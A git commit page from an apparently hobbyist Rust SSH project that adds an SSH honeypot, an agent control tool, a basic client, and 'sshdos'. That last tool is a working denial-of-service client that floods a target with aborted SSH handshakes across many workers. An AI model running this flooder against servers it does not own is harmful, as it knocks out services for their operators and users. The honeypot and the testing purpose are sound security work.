mirror of
https://github.com/Noratrieb/cluelessh.git
synced 2026-01-14 16:35:06 +01:00
move
This commit is contained in:
parent
7ac2ef4194
commit
de8f5dde21
34 changed files with 10 additions and 15 deletions
15
bin/fakesshd/Cargo.toml
Normal file
15
bin/fakesshd/Cargo.toml
Normal file
|
|
@ -0,0 +1,15 @@
|
|||
[package]
|
||||
name = "fakesshd"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
eyre = "0.6.12"
|
||||
hex-literal = "0.4.1"
|
||||
rand = "0.8.5"
|
||||
ssh-protocol = { path = "../../lib/ssh-protocol" }
|
||||
|
||||
tokio = { version = "1.39.2", features = ["full"] }
|
||||
tracing-subscriber = { version = "0.3.18", features = ["env-filter", "json"] }
|
||||
|
||||
tracing.workspace = true
|
||||
3
bin/fakesshd/README.md
Normal file
3
bin/fakesshd/README.md
Normal file
|
|
@ -0,0 +1,3 @@
|
|||
# fakesshd
|
||||
|
||||
An SSH honeypot.
|
||||
16
bin/fakesshd/smoke-test.sh
Executable file
16
bin/fakesshd/smoke-test.sh
Executable file
|
|
@ -0,0 +1,16 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
set -euxo pipefail
|
||||
|
||||
cargo build -p fakesshd
|
||||
|
||||
cargo run -p fakesshd &
|
||||
|
||||
sleep 1
|
||||
|
||||
ssh -p 2222 localhost true
|
||||
ssh -p 2222 -oCiphers=aes256-gcm@openssh.com \
|
||||
-oHostKeyAlgorithms=ecdsa-sha2-nistp256 \
|
||||
-oKexAlgorithms=ecdh-sha2-nistp256 127.0.0.1 true
|
||||
|
||||
pkill fakesshd
|
||||
271
bin/fakesshd/src/main.rs
Normal file
271
bin/fakesshd/src/main.rs
Normal file
|
|
@ -0,0 +1,271 @@
|
|||
use std::{collections::HashMap, net::SocketAddr};
|
||||
|
||||
use eyre::{Context, Result};
|
||||
use rand::RngCore;
|
||||
use tokio::{
|
||||
io::{AsyncReadExt, AsyncWriteExt},
|
||||
net::{TcpListener, TcpStream},
|
||||
};
|
||||
use tracing::{debug, error, info, info_span, Instrument};
|
||||
|
||||
use ssh_protocol::{
|
||||
connection::{ChannelOpen, ChannelOperationKind, ChannelRequest},
|
||||
transport::{self},
|
||||
ChannelUpdateKind, ServerConnection, SshStatus,
|
||||
};
|
||||
use tracing_subscriber::EnvFilter;
|
||||
|
||||
struct ThreadRngRand;
|
||||
impl ssh_protocol::transport::SshRng for ThreadRngRand {
|
||||
fn fill_bytes(&mut self, dest: &mut [u8]) {
|
||||
rand::thread_rng().fill_bytes(dest);
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> eyre::Result<()> {
|
||||
let env_filter = EnvFilter::try_from_default_env().unwrap_or_else(|_| EnvFilter::new("info"));
|
||||
|
||||
if std::env::var("FAKESSH_JSON_LOGS").is_ok_and(|v| v != "0") {
|
||||
tracing_subscriber::fmt()
|
||||
.json()
|
||||
.with_env_filter(env_filter)
|
||||
.init();
|
||||
} else {
|
||||
tracing_subscriber::fmt().with_env_filter(env_filter).init();
|
||||
}
|
||||
|
||||
let addr = std::env::var("FAKESSH_LISTEN_ADDR").unwrap_or_else(|_| "0.0.0.0:2222".to_owned());
|
||||
|
||||
let addr = addr
|
||||
.parse::<SocketAddr>()
|
||||
.wrap_err_with(|| format!("failed to parse listen addr '{addr}'"))?;
|
||||
|
||||
info!(%addr, "Starting server");
|
||||
|
||||
let listener = TcpListener::bind(addr).await.wrap_err("binding listener")?;
|
||||
|
||||
loop {
|
||||
let next = listener.accept().await?;
|
||||
let span = info_span!("connection", addr = %next.1);
|
||||
tokio::spawn(
|
||||
async {
|
||||
let mut total_sent_data = Vec::new();
|
||||
|
||||
if let Err(err) = handle_connection(next, &mut total_sent_data).await {
|
||||
if let Some(err) = err.downcast_ref::<std::io::Error>() {
|
||||
if err.kind() == std::io::ErrorKind::ConnectionReset {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
error!(?err, "error handling connection");
|
||||
}
|
||||
|
||||
// Limit stdin to 500 characters.
|
||||
let stdin = String::from_utf8_lossy(&total_sent_data);
|
||||
let stdin = if let Some((idx, _)) = stdin.char_indices().nth(500) {
|
||||
&stdin[..idx]
|
||||
} else {
|
||||
&stdin
|
||||
};
|
||||
|
||||
info!(?stdin, "Finished connection");
|
||||
}
|
||||
.instrument(span),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
async fn handle_connection(
|
||||
next: (TcpStream, SocketAddr),
|
||||
total_sent_data: &mut Vec<u8>,
|
||||
) -> Result<()> {
|
||||
let (mut conn, addr) = next;
|
||||
|
||||
info!(%addr, "Received a new connection");
|
||||
|
||||
/*let rng = vec![
|
||||
0x14, 0xa2, 0x04, 0xa5, 0x4b, 0x2f, 0x5f, 0xa7, 0xff, 0x53, 0x13, 0x67, 0x57, 0x67, 0xbc,
|
||||
0x55, 0x3f, 0xc0, 0x6c, 0x0d, 0x07, 0x8f, 0xe2, 0x75, 0x95, 0x18, 0x4b, 0xd2, 0xcb, 0xd0,
|
||||
0x64, 0x06, 0x14, 0xa2, 0x04, 0xa5, 0x4b, 0x2f, 0x5f, 0xa7, 0xff, 0x53, 0x13, 0x67, 0x57,
|
||||
0x67, 0xbc, 0x55, 0x3f, 0xc0, 0x6c, 0x0d, 0x07, 0x8f, 0xe2, 0x75, 0x95, 0x18, 0x4b, 0xd2,
|
||||
0xcb, 0xd0, 0x64, 0x06, 0x67, 0xbc, 0x55, 0x3f, 0xc0, 0x6c, 0x0d, 0x07, 0x8f, 0xe2, 0x75,
|
||||
0x95, 0x18, 0x4b, 0xd2, 0xcb, 0xd0, 0x64, 0x06,
|
||||
];
|
||||
struct HardcodedRng(Vec<u8>);
|
||||
impl ssh_protocol::transport::SshRng for HardcodedRng {
|
||||
fn fill_bytes(&mut self, dest: &mut [u8]) {
|
||||
dest.copy_from_slice(&self.0[..dest.len()]);
|
||||
self.0.splice(0..dest.len(), []);
|
||||
}
|
||||
}*/
|
||||
|
||||
let mut state = ServerConnection::new(transport::server::ServerConnection::new(ThreadRngRand));
|
||||
|
||||
let mut session_channels = HashMap::new();
|
||||
|
||||
loop {
|
||||
let mut buf = [0; 1024];
|
||||
let read = conn
|
||||
.read(&mut buf)
|
||||
.await
|
||||
.wrap_err("reading from connection")?;
|
||||
if read == 0 {
|
||||
info!("Did not read any bytes from TCP stream, EOF");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
if let Err(err) = state.recv_bytes(&buf[..read]) {
|
||||
match err {
|
||||
SshStatus::PeerError(err) => {
|
||||
info!(?err, "disconnecting client after invalid operation");
|
||||
return Ok(());
|
||||
}
|
||||
SshStatus::Disconnect => {
|
||||
info!("Received disconnect from client");
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
while let Some(update) = state.next_channel_update() {
|
||||
//eprintln!("{:?}", update);
|
||||
match update.kind {
|
||||
ChannelUpdateKind::Open(kind) => match kind {
|
||||
ChannelOpen::Session => {
|
||||
session_channels.insert(update.number, ());
|
||||
}
|
||||
},
|
||||
ChannelUpdateKind::Request(req) => {
|
||||
let success = update.number.construct_op(ChannelOperationKind::Success);
|
||||
match req {
|
||||
ChannelRequest::PtyReq { want_reply, .. } => {
|
||||
if want_reply {
|
||||
state.do_operation(success);
|
||||
}
|
||||
}
|
||||
ChannelRequest::Shell { want_reply } => {
|
||||
if want_reply {
|
||||
state.do_operation(success);
|
||||
}
|
||||
}
|
||||
ChannelRequest::Exec {
|
||||
want_reply,
|
||||
command,
|
||||
} => {
|
||||
if want_reply {
|
||||
state.do_operation(success);
|
||||
}
|
||||
|
||||
let result = execute_command(&command);
|
||||
state.do_operation(
|
||||
update
|
||||
.number
|
||||
.construct_op(ChannelOperationKind::Data(result.stdout)),
|
||||
);
|
||||
state.do_operation(update.number.construct_op(
|
||||
ChannelOperationKind::Request(ChannelRequest::ExitStatus {
|
||||
status: result.status,
|
||||
}),
|
||||
));
|
||||
state.do_operation(
|
||||
update.number.construct_op(ChannelOperationKind::Eof),
|
||||
);
|
||||
state.do_operation(
|
||||
update.number.construct_op(ChannelOperationKind::Close),
|
||||
);
|
||||
}
|
||||
ChannelRequest::ExitStatus { .. } => {}
|
||||
ChannelRequest::Env { .. } => {}
|
||||
};
|
||||
}
|
||||
ChannelUpdateKind::Data { data } => {
|
||||
let is_eof = data.contains(&0x04 /*EOF, Ctrl-D*/);
|
||||
|
||||
// echo :3
|
||||
state.do_operation(
|
||||
update
|
||||
.number
|
||||
.construct_op(ChannelOperationKind::Data(data.clone())),
|
||||
);
|
||||
|
||||
// arbitrary limit
|
||||
if total_sent_data.len() < 50_000 {
|
||||
total_sent_data.extend_from_slice(&data);
|
||||
} else {
|
||||
info!(channel = %update.number, "Reached stdin limit");
|
||||
state.do_operation(update.number.construct_op(ChannelOperationKind::Data(
|
||||
b"Thanks Hayley!\n".to_vec(),
|
||||
)));
|
||||
state.do_operation(update.number.construct_op(ChannelOperationKind::Close));
|
||||
}
|
||||
|
||||
if is_eof {
|
||||
debug!(channel = %update.number, "Received Ctrl-D, closing channel");
|
||||
|
||||
state.do_operation(update.number.construct_op(ChannelOperationKind::Eof));
|
||||
state.do_operation(update.number.construct_op(ChannelOperationKind::Close));
|
||||
}
|
||||
}
|
||||
ChannelUpdateKind::ExtendedData { .. } | ChannelUpdateKind::Eof => { /* ignore */ }
|
||||
ChannelUpdateKind::Closed => {
|
||||
session_channels.remove(&update.number);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
while let Some(msg) = state.next_msg_to_send() {
|
||||
conn.write_all(&msg.to_bytes())
|
||||
.await
|
||||
.wrap_err("writing response")?;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
struct ProcessOutput {
|
||||
status: u32,
|
||||
stdout: Vec<u8>,
|
||||
}
|
||||
|
||||
const UNAME_SVNRM: &[u8] =
|
||||
b"Linux ubuntu 5.15.0-105-generic #115-Ubuntu SMP Mon Apr 15 09:52:04 UTC 2024 x86_64\r\n";
|
||||
const UNAME_A: &[u8] =
|
||||
b"Linux ubuntu 5.15.0-105-generic #115-Ubuntu SMP Mon Apr 15 09:52:04 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux\r\n";
|
||||
const CPUINFO_UNAME_A: &[u8] = b" 4 AMD EPYC 7282 16-Core Processor\r\n\
|
||||
Linux vps2 5.15.0-105-generic #115-Ubuntu SMP Mon Apr 15 09:52:04 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux\r\n";
|
||||
|
||||
fn execute_command(command: &[u8]) -> ProcessOutput {
|
||||
let Ok(command) = std::str::from_utf8(command) else {
|
||||
return ProcessOutput {
|
||||
status: 1,
|
||||
stdout: b"what the hell".to_vec(),
|
||||
};
|
||||
};
|
||||
match command {
|
||||
"uname -s -v -n -r -m" => ProcessOutput {
|
||||
status: 0,
|
||||
stdout: UNAME_SVNRM.to_vec(),
|
||||
},
|
||||
"uname -a" => ProcessOutput {
|
||||
status: 0,
|
||||
stdout: UNAME_A.to_vec(),
|
||||
},
|
||||
"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a" => ProcessOutput {
|
||||
status: 0,
|
||||
stdout: CPUINFO_UNAME_A.to_vec(),
|
||||
},
|
||||
"true" => ProcessOutput {
|
||||
status: 0,
|
||||
stdout: b"".to_vec(),
|
||||
},
|
||||
_ => {
|
||||
let argv0 = command.split_ascii_whitespace().next().unwrap_or("");
|
||||
|
||||
ProcessOutput {
|
||||
status: 127,
|
||||
stdout: format!("bash: line 1: {argv0}: command not found\r\n").into_bytes(),
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
17
bin/ssh-agentctl/Cargo.toml
Normal file
17
bin/ssh-agentctl/Cargo.toml
Normal file
|
|
@ -0,0 +1,17 @@
|
|||
[package]
|
||||
name = "ssh-agentctl"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
ssh-agent-client = { path = "../../lib/ssh-agent-client" }
|
||||
ssh-transport = { path = "../../lib/ssh-transport" }
|
||||
|
||||
clap = { version = "4.5.16", features = ["derive"] }
|
||||
eyre = "0.6.12"
|
||||
tokio = { version = "1.39.3", features = ["full"] }
|
||||
tracing-subscriber = { version = "0.3.18", features = ["env-filter"] }
|
||||
rpassword = "7.3.1"
|
||||
sha2 = "0.10.8"
|
||||
hex = "0.4.3"
|
||||
pem = "3.0.4"
|
||||
170
bin/ssh-agentctl/src/main.rs
Normal file
170
bin/ssh-agentctl/src/main.rs
Normal file
|
|
@ -0,0 +1,170 @@
|
|||
use std::{io::Write, path::PathBuf};
|
||||
|
||||
use clap::Parser;
|
||||
use eyre::{bail, Context};
|
||||
use ssh_agent_client::{IdentityAnswer, SocketAgentConnection};
|
||||
use ssh_transport::key::SshPubkey;
|
||||
|
||||
#[derive(clap::Parser, Debug)]
|
||||
struct Args {
|
||||
#[command(subcommand)]
|
||||
command: Subcommand,
|
||||
}
|
||||
|
||||
#[derive(clap::Subcommand, Debug)]
|
||||
enum Subcommand {
|
||||
/// Add a new identity to the agent, SSH_AGENTC_ADD_IDENTITY
|
||||
AddIdentity {
|
||||
/// The path to the private key file
|
||||
identity: PathBuf,
|
||||
},
|
||||
/// Remove all identities from the agent, SSH_AGENTC_REMOVE_ALL_IDENTITIES
|
||||
RemoveAllIdentities,
|
||||
/// List all identities in the agent, SSH_AGENTC_REQUEST_IDENTITIES
|
||||
ListIdentities {
|
||||
#[arg(short, long = "key-id")]
|
||||
key_id: bool,
|
||||
},
|
||||
/// Sign a blob, SSH_AGENTC_SIGN_REQUEST
|
||||
Sign {
|
||||
/// The key-id of the key, obtained with list-identities --key-id
|
||||
#[arg(short, long = "key")]
|
||||
key: Option<String>,
|
||||
file: PathBuf,
|
||||
},
|
||||
/// Temporarily lock the agent with a passphrase, SSH_AGENTC_LOCK
|
||||
Lock,
|
||||
/// Temporarily unlock a temporarily locked agent with a passphrase, SSH_AGENTC_UNLOCK
|
||||
Unlock,
|
||||
/// Query all available extension types SSH_AGENTC_EXTENSION/query
|
||||
ExtensionQuery,
|
||||
}
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> eyre::Result<()> {
|
||||
let args = Args::parse();
|
||||
|
||||
let env_filter = tracing_subscriber::EnvFilter::try_from_default_env()
|
||||
.unwrap_or_else(|_| tracing_subscriber::EnvFilter::new("info"));
|
||||
tracing_subscriber::fmt().with_env_filter(env_filter).init();
|
||||
|
||||
let mut agent = ssh_agent_client::SocketAgentConnection::from_env().await?;
|
||||
|
||||
match args.command {
|
||||
Subcommand::AddIdentity { identity } => {
|
||||
let file = std::fs::read(&identity)
|
||||
.wrap_err_with(|| format!("reading file {}", identity.display()))?;
|
||||
let _ = file;
|
||||
todo!("we need to parse and decrypt the key...")
|
||||
}
|
||||
Subcommand::RemoveAllIdentities => {
|
||||
agent.remove_all_identities().await?;
|
||||
println!("Removed all identities from the agent");
|
||||
}
|
||||
Subcommand::ListIdentities { key_id } => {
|
||||
list_ids(&mut agent, key_id).await?;
|
||||
}
|
||||
Subcommand::Sign { file, key } => {
|
||||
let file = std::fs::read(&file)
|
||||
.wrap_err_with(|| format!("reading file {}", file.display()))?;
|
||||
|
||||
let ids = agent
|
||||
.list_identities()
|
||||
.await
|
||||
.wrap_err("listing identities")?;
|
||||
|
||||
let key = match ids.len() {
|
||||
0 => {
|
||||
bail!("no keys found");
|
||||
}
|
||||
1 => {
|
||||
let id = &ids[0];
|
||||
if let Some(key) = key {
|
||||
if key_id(id) != key {
|
||||
eprintln!("error: key {key} not found. pass a key-id found below:");
|
||||
list_ids(&mut agent, true).await?;
|
||||
eprintln!(
|
||||
"note: there is only one key, passing the key-id is not required"
|
||||
);
|
||||
std::process::exit(1);
|
||||
}
|
||||
}
|
||||
id
|
||||
}
|
||||
_ => {
|
||||
let Some(key) = key else {
|
||||
eprintln!("error: missing argument --key. pass the key-id found below:");
|
||||
list_ids(&mut agent, true).await?;
|
||||
std::process::exit(1);
|
||||
};
|
||||
|
||||
let Some(id) = ids.iter().find(|item| key_id(item) == key) else {
|
||||
eprintln!("error: key {key} not found. pass a key-id from below");
|
||||
list_ids(&mut agent, true).await?;
|
||||
std::process::exit(1);
|
||||
};
|
||||
id
|
||||
}
|
||||
};
|
||||
|
||||
let signature = agent.sign(&key.key_blob, &file, 0).await?;
|
||||
|
||||
let signature = pem::encode(&pem::Pem::new("SSH SIGNATURE", signature));
|
||||
std::io::stdout().write_all(signature.as_bytes())?;
|
||||
}
|
||||
Subcommand::Lock => {
|
||||
let passphrase =
|
||||
tokio::task::spawn_blocking(|| rpassword::prompt_password("passphrase: "))
|
||||
.await?
|
||||
.wrap_err("failed to prompt passphrase")?;
|
||||
agent.lock(&passphrase).await?;
|
||||
println!("Locked SSH agent");
|
||||
}
|
||||
Subcommand::Unlock => {
|
||||
let passphrase =
|
||||
tokio::task::spawn_blocking(|| rpassword::prompt_password("passphrase: "))
|
||||
.await?
|
||||
.wrap_err("failed to prompt passphrase")?;
|
||||
agent.unlock(&passphrase).await?;
|
||||
println!("Unlocked SSH agent");
|
||||
}
|
||||
Subcommand::ExtensionQuery => {
|
||||
let extensions = agent.extension_query().await?;
|
||||
for ext in extensions {
|
||||
println!("{ext}");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn list_ids(agent: &mut SocketAgentConnection, print_key_id: bool) -> eyre::Result<()> {
|
||||
let ids = agent.list_identities().await?;
|
||||
for id in ids {
|
||||
print_key(id, print_key_id);
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn print_key(id: IdentityAnswer, show_key_id: bool) {
|
||||
let key = SshPubkey::from_wire_encoding(&id.key_blob);
|
||||
match key {
|
||||
Ok(key) => {
|
||||
if show_key_id {
|
||||
print!("{} ", key_id(&id));
|
||||
}
|
||||
println!("{key} {}", id.comment);
|
||||
}
|
||||
Err(key) => {
|
||||
eprintln!("{key}");
|
||||
println!("<unknown> {}", id.comment);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn key_id(key: &IdentityAnswer) -> String {
|
||||
use sha2::Digest;
|
||||
let digest = sha2::Sha256::digest(&key.key_blob);
|
||||
hex::encode(&digest[..4])
|
||||
}
|
||||
18
bin/ssh/Cargo.toml
Normal file
18
bin/ssh/Cargo.toml
Normal file
|
|
@ -0,0 +1,18 @@
|
|||
[package]
|
||||
name = "ssh"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
ssh-protocol = { path = "../../lib/ssh-protocol" }
|
||||
ssh-transport = { path = "../../lib/ssh-transport" }
|
||||
ssh-agent-client = { path = "../../lib/ssh-agent-client" }
|
||||
|
||||
clap = { version = "4.5.15", features = ["derive"] }
|
||||
eyre = "0.6.12"
|
||||
rand = "0.8.5"
|
||||
tokio = { version = "1.39.2", features = ["full"] }
|
||||
tracing-subscriber = { version = "0.3.18", features = ["json", "env-filter"] }
|
||||
|
||||
tracing.workspace = true
|
||||
rpassword = "7.3.1"
|
||||
3
bin/ssh/README.md
Normal file
3
bin/ssh/README.md
Normal file
|
|
@ -0,0 +1,3 @@
|
|||
# ssh
|
||||
|
||||
`ssh(1)` SSH client.
|
||||
137
bin/ssh/src/main.rs
Normal file
137
bin/ssh/src/main.rs
Normal file
|
|
@ -0,0 +1,137 @@
|
|||
use std::io::Write;
|
||||
|
||||
use clap::Parser;
|
||||
|
||||
use eyre::Context;
|
||||
use rand::RngCore;
|
||||
use tokio::{
|
||||
io::{AsyncReadExt, AsyncWriteExt},
|
||||
net::TcpStream,
|
||||
};
|
||||
use tracing::{debug, error, info};
|
||||
|
||||
use ssh_protocol::{
|
||||
transport::{self},
|
||||
SshStatus,
|
||||
};
|
||||
use tracing_subscriber::EnvFilter;
|
||||
|
||||
struct ThreadRngRand;
|
||||
impl ssh_protocol::transport::SshRng for ThreadRngRand {
|
||||
fn fill_bytes(&mut self, dest: &mut [u8]) {
|
||||
rand::thread_rng().fill_bytes(dest);
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(clap::Parser, Debug)]
|
||||
struct Args {
|
||||
#[arg(short = 'p', long, default_value_t = 22)]
|
||||
port: u16,
|
||||
destination: String,
|
||||
command: Vec<String>,
|
||||
}
|
||||
|
||||
enum Operation {
|
||||
PasswordEntered(std::io::Result<String>),
|
||||
}
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> eyre::Result<()> {
|
||||
let args = Args::parse();
|
||||
|
||||
let env_filter = EnvFilter::try_from_default_env().unwrap_or_else(|_| EnvFilter::new("info"));
|
||||
tracing_subscriber::fmt().with_env_filter(env_filter).init();
|
||||
|
||||
let mut conn = TcpStream::connect(&format!("{}:{}", args.destination, args.port))
|
||||
.await
|
||||
.wrap_err("connecting")?;
|
||||
|
||||
let username = "hans-peter";
|
||||
|
||||
let mut state = ssh_protocol::ClientConnection::new(
|
||||
transport::client::ClientConnection::new(ThreadRngRand),
|
||||
ssh_protocol::auth::ClientAuth::new(username.as_bytes().to_vec()),
|
||||
);
|
||||
|
||||
let (send_op, mut recv_op) = tokio::sync::mpsc::channel::<Operation>(10);
|
||||
|
||||
let mut buf = [0; 1024];
|
||||
|
||||
loop {
|
||||
while let Some(msg) = state.next_msg_to_send() {
|
||||
conn.write_all(&msg.to_bytes())
|
||||
.await
|
||||
.wrap_err("writing response")?;
|
||||
}
|
||||
|
||||
if let Some(auth) = state.auth() {
|
||||
for req in auth.user_requests() {
|
||||
match req {
|
||||
ssh_protocol::auth::ClientUserRequest::Password => {
|
||||
let username = username.to_owned();
|
||||
let destination = args.destination.clone();
|
||||
let send_op = send_op.clone();
|
||||
std::thread::spawn(move || {
|
||||
let password = rpassword::prompt_password(format!(
|
||||
"{}@{}'s password: ",
|
||||
username, destination
|
||||
));
|
||||
let _ = send_op.blocking_send(Operation::PasswordEntered(password));
|
||||
});
|
||||
}
|
||||
ssh_protocol::auth::ClientUserRequest::PrivateKeySign {
|
||||
session_identifier: _,
|
||||
} => {
|
||||
// TODO: move
|
||||
let mut agent = ssh_agent_client::SocketAgentConnection::from_env()
|
||||
.await
|
||||
.wrap_err("failed to connect to SSH agent")?;
|
||||
let identities = agent.list_identities().await?;
|
||||
for identity in identities {
|
||||
debug!(comment = ?identity.comment, "Found identity");
|
||||
}
|
||||
}
|
||||
ssh_protocol::auth::ClientUserRequest::Banner(banner) => {
|
||||
let banner = String::from_utf8_lossy(&banner);
|
||||
std::io::stdout().write(&banner.as_bytes())?;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
tokio::select! {
|
||||
read = conn.read(&mut buf) => {
|
||||
let read = read.wrap_err("reading from connection")?;
|
||||
if read == 0 {
|
||||
info!("Did not read any bytes from TCP stream, EOF");
|
||||
return Ok(());
|
||||
}
|
||||
if let Err(err) = state.recv_bytes(&buf[..read]) {
|
||||
match err {
|
||||
SshStatus::PeerError(err) => {
|
||||
error!(?err, "disconnecting client after invalid operation");
|
||||
return Ok(());
|
||||
}
|
||||
SshStatus::Disconnect => {
|
||||
error!("Received disconnect from server");
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
op = recv_op.recv() => {
|
||||
match op {
|
||||
Some(Operation::PasswordEntered(password)) => {
|
||||
if let Some(auth) = state.auth() {
|
||||
auth.send_password(&password?);
|
||||
} else {
|
||||
debug!("Ignoring entered password as the state has moved on");
|
||||
}
|
||||
}
|
||||
None => {}
|
||||
}
|
||||
state.progress();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
17
bin/sshdos/Cargo.toml
Normal file
17
bin/sshdos/Cargo.toml
Normal file
|
|
@ -0,0 +1,17 @@
|
|||
[package]
|
||||
name = "sshdos"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
ssh-protocol = { path = "../../lib/ssh-protocol" }
|
||||
ssh-transport = { path = "../../lib/ssh-transport" }
|
||||
clap = { version = "4.5.15", features = ["derive"] }
|
||||
eyre = "0.6.12"
|
||||
rand = "0.8.5"
|
||||
tokio = { version = "1.39.2", features = ["full"] }
|
||||
tracing-subscriber = { version = "0.3.18", features = ["json", "env-filter"] }
|
||||
|
||||
tracing.workspace = true
|
||||
rpassword = "7.3.1"
|
||||
futures = "0.3.30"
|
||||
4
bin/sshdos/README.md
Normal file
4
bin/sshdos/README.md
Normal file
|
|
@ -0,0 +1,4 @@
|
|||
# ssh
|
||||
|
||||
An SSH client that tries to execute a DoS attack against a server.
|
||||
**Only use this against your own servers!!**
|
||||
142
bin/sshdos/src/main.rs
Normal file
142
bin/sshdos/src/main.rs
Normal file
|
|
@ -0,0 +1,142 @@
|
|||
use std::{
|
||||
sync::{
|
||||
atomic::{AtomicUsize, Ordering},
|
||||
Arc,
|
||||
},
|
||||
time::Duration,
|
||||
};
|
||||
|
||||
use clap::Parser;
|
||||
|
||||
use eyre::Context;
|
||||
use rand::RngCore;
|
||||
use tokio::{
|
||||
io::{AsyncReadExt, AsyncWriteExt},
|
||||
net::TcpStream,
|
||||
};
|
||||
use tracing::{error, info};
|
||||
|
||||
use ssh_protocol::{
|
||||
transport::{self},
|
||||
SshStatus,
|
||||
};
|
||||
use tracing_subscriber::EnvFilter;
|
||||
|
||||
struct ThreadRngRand;
|
||||
impl ssh_protocol::transport::SshRng for ThreadRngRand {
|
||||
fn fill_bytes(&mut self, dest: &mut [u8]) {
|
||||
rand::thread_rng().fill_bytes(dest);
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(clap::Parser, Debug, Clone)]
|
||||
struct Args {
|
||||
#[arg(short = 'p', long, default_value_t = 22)]
|
||||
port: u16,
|
||||
#[arg(short = 't', long, default_value_t = 16)]
|
||||
threads: usize,
|
||||
#[arg(short = 'd', long, default_value_t = 1.0)]
|
||||
delay: f32,
|
||||
#[arg(short = 'c', long)]
|
||||
chill: bool,
|
||||
destination: String,
|
||||
}
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> eyre::Result<()> {
|
||||
let args = Args::parse();
|
||||
|
||||
let env_filter = EnvFilter::try_from_default_env().unwrap_or_else(|_| EnvFilter::new("info"));
|
||||
tracing_subscriber::fmt().with_env_filter(env_filter).init();
|
||||
|
||||
let counter = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let mut handles = Vec::new();
|
||||
|
||||
for i in 0..args.threads {
|
||||
info!("Starting worker {i}");
|
||||
|
||||
let args = args.clone();
|
||||
let counter = counter.clone();
|
||||
let handle = tokio::spawn(async move {
|
||||
loop {
|
||||
let result = execute_attempt(&args).await;
|
||||
counter.fetch_add(1, Ordering::Relaxed);
|
||||
tokio::time::sleep(Duration::from_secs_f32(args.delay)).await;
|
||||
info!(
|
||||
"Executed attempt {} on worker {i} with output {result:?}",
|
||||
counter.load(Ordering::Relaxed)
|
||||
);
|
||||
}
|
||||
});
|
||||
handles.push(handle);
|
||||
}
|
||||
|
||||
futures::future::join_all(handles).await;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn execute_attempt(args: &Args) -> eyre::Result<()> {
|
||||
let conn = TcpStream::connect(&format!("{}:{}", args.destination, args.port)).await?;
|
||||
|
||||
let result = execute_attempt_inner(conn).await;
|
||||
|
||||
if args.chill {
|
||||
info!("Chilling, taking up space");
|
||||
tokio::time::sleep(Duration::from_secs(10)).await;
|
||||
}
|
||||
|
||||
result
|
||||
}
|
||||
|
||||
async fn execute_attempt_inner(mut conn: TcpStream) -> eyre::Result<()> {
|
||||
let username = "dos";
|
||||
|
||||
let mut transport = transport::client::ClientConnection::new(ThreadRngRand);
|
||||
transport.abort_for_dos = true;
|
||||
|
||||
let mut state = ssh_protocol::ClientConnection::new(
|
||||
transport,
|
||||
ssh_protocol::auth::ClientAuth::new(username.as_bytes().to_vec()),
|
||||
);
|
||||
|
||||
let mut buf = [0; 1024];
|
||||
|
||||
loop {
|
||||
while let Some(msg) = state.next_msg_to_send() {
|
||||
conn.write_all(&msg.to_bytes())
|
||||
.await
|
||||
.wrap_err("writing response")?;
|
||||
}
|
||||
|
||||
if let Some(_) = state.auth() {
|
||||
unreachable!();
|
||||
}
|
||||
|
||||
let read = conn
|
||||
.read(&mut buf)
|
||||
.await
|
||||
.wrap_err("reading from connection")?;
|
||||
if read == 0 {
|
||||
info!("Did not read any bytes from TCP stream, EOF");
|
||||
return Ok(());
|
||||
}
|
||||
if let Err(err) = state.recv_bytes(&buf[..read]) {
|
||||
match err {
|
||||
SshStatus::PeerError(err) => {
|
||||
if err == "early abort" {
|
||||
// Expected.
|
||||
return Ok(());
|
||||
}
|
||||
error!(?err, "disconnecting client after invalid operation");
|
||||
return Ok(());
|
||||
}
|
||||
SshStatus::Disconnect => {
|
||||
error!("Received disconnect from server");
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Loading…
Add table
Add a link
Reference in a new issue